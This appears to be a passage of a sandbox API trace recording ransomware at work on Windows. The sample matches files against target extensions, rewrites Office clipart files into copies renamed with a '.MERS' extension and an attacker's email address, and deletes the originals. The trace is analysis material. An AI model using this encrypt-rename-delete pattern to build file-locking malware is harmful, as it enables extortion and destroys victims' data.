lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString=".jpg") returned 4 [0273.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString=".doc") returned 4 [0273.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString=".docx") returned 5 [0273.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.076] lstrlenW (lpString=".pdf") returned 4 [0273.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString=".xls") returned 4 [0273.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.076] lstrlenW (lpString=".xlsx") returned 5 [0273.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.076] lstrlenW (lpString=".ppt") returned 4 [0273.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString=".zip") returned 4 [0273.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.076] lstrlenW (lpString=".rar") returned 4 [0273.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString=".bz2") returned 4 [0273.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString=".7z") returned 3 [0273.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.077] lstrlenW (lpString=".dbf") returned 4 [0273.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.077] lstrlenW (lpString=".1cd") returned 4 [0273.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.077] lstrlenW (lpString=".jpg") returned 4 [0273.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.077] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.077] lstrlenW (lpString="BS00224_.WMF") returned 12 [0273.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.077] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=1588) returned 1 [0273.077] CloseHandle (hObject=0x410) returned 1 [0273.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0273.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.078] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.078] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0273.078] GetLastError () returned 0x0 [0273.078] ReadFile (in: hFile=0x410, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x634, lpOverlapped=0x0) returned 1 [0273.117] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x640, lpOverlapped=0x0) returned 1 [0273.118] ReadFile (in: hFile=0x410, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.118] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.118] SetEndOfFile (hFile=0x3e8) returned 1 [0273.118] CloseHandle (hObject=0x3e8) returned 1 [0273.118] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.118] SetEndOfFile (hFile=0x410) returned 1 [0273.119] CloseHandle (hObject=0x410) returned 1 [0273.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0273.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.123] lstrlenW (lpString=".doc") returned 4 [0273.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.123] lstrlenW (lpString=".docx") returned 5 [0273.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.123] lstrlenW (lpString=".pdf") returned 4 [0273.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.123] lstrlenW (lpString=".xls") returned 4 [0273.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.123] lstrlenW (lpString=".xlsx") returned 5 [0273.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.123] lstrlenW (lpString=".ppt") returned 4 [0273.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.123] lstrlenW (lpString=".zip") returned 4 [0273.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.123] lstrlenW (lpString=".rar") returned 4 [0273.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.123] lstrlenW (lpString=".bz2") returned 4 [0273.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.123] lstrlenW (lpString=".7z") returned 3 [0273.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString=".dbf") returned 4 [0273.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString=".1cd") returned 4 [0273.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString=".jpg") returned 4 [0273.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString=".doc") returned 4 [0273.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString=".docx") returned 5 [0273.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.124] lstrlenW (lpString=".pdf") returned 4 [0273.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString=".xls") returned 4 [0273.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.124] lstrlenW (lpString=".xlsx") returned 5 [0273.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.124] lstrlenW (lpString=".ppt") returned 4 [0273.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.124] lstrlenW (lpString=".zip") returned 4 [0273.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.124] lstrlenW (lpString=".rar") returned 4 [0273.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString=".bz2") returned 4 [0273.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.124] lstrlenW (lpString=".7z") returned 3 [0273.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.125] lstrlenW (lpString=".dbf") returned 4 [0273.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.125] lstrlenW (lpString=".1cd") returned 4 [0273.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0273.125] lstrlenW (lpString=".jpg") returned 4 [0273.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.125] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.125] lstrlenW (lpString="BS00441_.WMF") returned 12 [0273.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.125] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3524) returned 1 [0273.125] CloseHandle (hObject=0x3d8) returned 1 [0273.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0273.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.126] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.126] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.126] GetLastError () returned 0x0 [0273.126] ReadFile (in: hFile=0x3d8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xdc4, lpOverlapped=0x0) returned 1 [0273.240] WriteFile (in: hFile=0x39c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0273.240] ReadFile (in: hFile=0x3d8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.240] WriteFile (in: hFile=0x39c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.240] SetEndOfFile (hFile=0x39c) returned 1 [0273.240] CloseHandle (hObject=0x39c) returned 1 [0273.240] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.241] SetEndOfFile (hFile=0x3d8) returned 1 [0273.242] CloseHandle (hObject=0x3d8) returned 1 [0273.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0273.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".doc") returned 4 [0273.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString=".docx") returned 5 [0273.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.293] lstrlenW (lpString=".pdf") returned 4 [0273.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString=".xls") returned 4 [0273.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.293] lstrlenW (lpString=".xlsx") returned 5 [0273.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.293] lstrlenW (lpString=".ppt") returned 4 [0273.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".zip") returned 4 [0273.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.293] lstrlenW (lpString=".rar") returned 4 [0273.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString=".bz2") returned 4 [0273.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString=".7z") returned 3 [0273.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".dbf") returned 4 [0273.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".1cd") returned 4 [0273.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".jpg") returned 4 [0273.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.293] lstrlenW (lpString=".doc") returned 4 [0273.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.293] lstrlenW (lpString=".docx") returned 5 [0273.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.294] lstrlenW (lpString=".pdf") returned 4 [0273.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString=".xls") returned 4 [0273.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.294] lstrlenW (lpString=".xlsx") returned 5 [0273.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.294] lstrlenW (lpString=".ppt") returned 4 [0273.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.294] lstrlenW (lpString=".zip") returned 4 [0273.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.294] lstrlenW (lpString=".rar") returned 4 [0273.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString=".bz2") returned 4 [0273.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString=".7z") returned 3 [0273.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.294] lstrlenW (lpString=".dbf") returned 4 [0273.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.294] lstrlenW (lpString=".1cd") returned 4 [0273.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0273.294] lstrlenW (lpString=".jpg") returned 4 [0273.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.294] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.295] lstrlenW (lpString="BS00444_.WMF") returned 12 [0273.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.448] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3896) returned 1 [0273.448] CloseHandle (hObject=0x3b4) returned 1 [0273.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0273.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0273.546] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.546] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0273.547] GetLastError () returned 0x0 [0273.547] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xf38, lpOverlapped=0x0) returned 1 [0273.588] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xf40, lpOverlapped=0x0) returned 1 [0273.589] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.589] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.589] SetEndOfFile (hFile=0x2c8) returned 1 [0273.589] CloseHandle (hObject=0x2c8) returned 1 [0273.589] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.589] SetEndOfFile (hFile=0x2c4) returned 1 [0273.591] CloseHandle (hObject=0x2c4) returned 1 [0273.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString=".doc") returned 4 [0273.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".docx") returned 5 [0273.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.592] lstrlenW (lpString=".pdf") returned 4 [0273.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".xls") returned 4 [0273.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.592] lstrlenW (lpString=".xlsx") returned 5 [0273.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.592] lstrlenW (lpString=".ppt") returned 4 [0273.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString=".zip") returned 4 [0273.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.592] lstrlenW (lpString=".rar") returned 4 [0273.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".bz2") returned 4 [0273.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".7z") returned 3 [0273.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString=".dbf") returned 4 [0273.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString=".1cd") returned 4 [0273.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.592] lstrlenW (lpString=".jpg") returned 4 [0273.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0273.593] lstrlenW (lpString=".doc") returned 4 [0273.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString=".docx") returned 5 [0273.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.593] lstrlenW 